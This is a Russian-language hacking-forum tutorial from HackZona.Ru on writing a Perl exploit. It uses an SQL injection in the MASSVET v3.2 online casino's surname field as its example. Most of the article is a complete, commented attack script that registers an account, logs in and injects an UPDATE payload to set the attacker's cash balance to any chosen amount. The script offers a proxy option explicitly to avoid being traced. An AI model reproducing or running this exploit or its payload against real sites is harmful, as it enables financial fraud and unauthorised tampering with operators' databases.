Написание Эксплойта для WEB уязвимостей на perl — HackZona.Ru

Написание Эксплойта для WEB уязвимостей на perl

Написание Эксплойта для WEB уязвимостей на perl

Тип статьи:
Со старой ХакЗоны.
Источник:
Итак, допустим вы нашли уязвимость и очень хотите написать под неё сплойт...
Для примера я возьму уязвимость найденую нашей коммандой в казино MASSVET v3.2

И так сначало разберёмся с уязвимостью, как написано в пояснении к эксплойту, он работает только при отключенных magick_quotes_gpc.

Ошика вызвана тем, что вводимые в форму данные не фильтруюца на возможные знаки используемые в SQL запросах т.е. символы — "'" и "`".Этим мы и воспользуемся ;)

Т.К. у нас на руках были исходники, был выбран самый удобный запрос для пополнения баланса, он находился в поле ФАМИЛИЯ при регистрации.

Составляем запрос:
У нас есть запрос на UPDATE в который нам нужно не много вмешаться =)
и так основы SQL-INJ я обьяснять не буду, т.к моя статья по этой теме на хакзоне есть...

Автор Казино сделал за нас пол работы =) нам остаётся только указать какое значение какому столцу поставить )))
Вот что мы вводим в поле ФАМИЛИЯ =) — ',cash='".$cash."' where login='".$login."
Где переменная $cash — сумма нужная нам, а $login — наш логин.

Терь перейдём к эксплойту, я его просто прокомментирую )
#!/usr/bin/perl

## Massvet интернет казино — удалённое пополнения баланса!
## Уязвимые версии 3.2, возможно более старые, с выключеным magicquotes
## Проверено на версии 3.2
##
## writed bu G1UK
## CFTeam

use LWP::UserAgent; #Подключаем модуль (я его использовал для того чтобы не возиться с Сокетами)
use Getopt::Std; #Модуль для получения параметров их cmd или shell'a
use HTTP::Cookies; #Модуль для работы с куками

getopts(«h:d:l:p:c:x:»); #Обазначаем порядок приёма переменных из коммандной строки

$host = $opt_h; #
$dir = $opt_d || '/'; #
$login = $opt_l; #
$pass = $opt_p; #Обазначаем что означает каждая введенная из cmd #переменная значит
$cash = $opt_c; #
$proxy = $opt_x || ''; #
logo(); #


if(!$host||!$login||!$pass||!$cash) { help(); } # Если не введена какая-то из переменных, вызываем функцию help

print "=) server: $host rn"; #
print "=) casino dir: $dir rn"; #
print "=) login: $login rn"; #
print "=) password: $pass rn"; #Вывод на экран
print "=) cash: $cash rn"; #
print «rn»; #

$cook = LWP::UserAgent->new() or die; #Создание нового подключения с #использованием модуля LWP
$cookie = HTTP::Cookies->new(); #Создание новых кук
$cook->cookie_jar( $cookie ); #Загоняем куки в переменную $cookie
$url=$host.''.$dir; #Формируем url для запроса.
$cook->proxy('http'=>'http://'.$proxy) if $proxy; # Если установлен прокси, то используем его

printf «Registering =)rn»;
$res = $cook->post('http://'.$url.'reg.php',
[
«r_login» => "$login",
«r_pass» => "$pass",
«r_email» => «1»,
«send» => «1»,
«submit»=> «Сохранить»
]); #Важный момент в эксплойте!!! Отправка пост запроса на регистрацию в интернет казино.
print «Registering OKrn»;

print «Enter =)rn»;
$res = $cook->post('http://'.$url.'lobby/login_proc.php',
[
«log» => "$login",
«psw» => "$pass",
«send» => «1»,
«submit»=> «Войти»,
«Cookie» => «PHPSESSID=».$sid
]); #2 важный момент — Вход в казино
print «Enter OKrn»;

print «Edit you cash =))rn»;
$res = $cook->post('http://'.$url.'lobby/config.php',
[
«cpass» => "$pass",
«cname» => "",
«cfam» => "',cash='".$cash."' where login='".$login."'/*",
«send» => «1»,
«Cookie» => «PHPSESSID=».$sid
]); #3 важный момент — отправка запроса на изменение фамилии с #встроенным SQL запросом
print «Check out you cash =)rn»;

sub logo() #Функция лого, чтобы знали кто писал =)
{
print ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>rn";
print «Massvet internet casino v3.2 sql injection cash exploit by CFTeamrn»;
print ">>>>>>>>>>>>>>>>>>>>>>>>>>>>>rn";
}

sub help() # Функция help, чтобы знали как пользоваться.
{
print «CFteam.pl -h -d [dir] -l -p -c -x [proxy]rnrn»;
print " — Host where cazino installed for example — www.massvet.rurn";
print "[dir] — Directory, where cazino is installed /cazino/ for examplern";
print " — User name for registrate rn";
print " — Password for registrate rn";
print " — How much you need? (00.00)rn";
print "[proxy] — For you safety rn";
exit();
}


Как вы видите функции были использованы только для токо, чтобы исходный текст был проще читаем, т.е их использование не обязательно.

Как видите ни чего сложном в этом нет, давайте распотрошим один из POST запросов, для того чтобы всё стало понятным.
$res = $cook->post('http://'.$url.'lobby/config.php',
[
«cpass» => "$pass",
«cname» => "",
«cfam» => "',cash='".$cash."' where login='".$login."'/*",
«send» => «1»,
«Cookie» => «PHPSESSID=».$sid
]);


Что происходит здесь

Мы говорим, что это ПОСТ запрос $cook->POST

Говорим что нам надо отправить формы
cpass
cname
cfam
send
cookie, последнее это значение из КУК, где установленна наша сессия.

Ну вот и разобрали =)
Нравится
Не нравится

1 комментарий

18:19
Жду отзывов, вроде нормально получилось.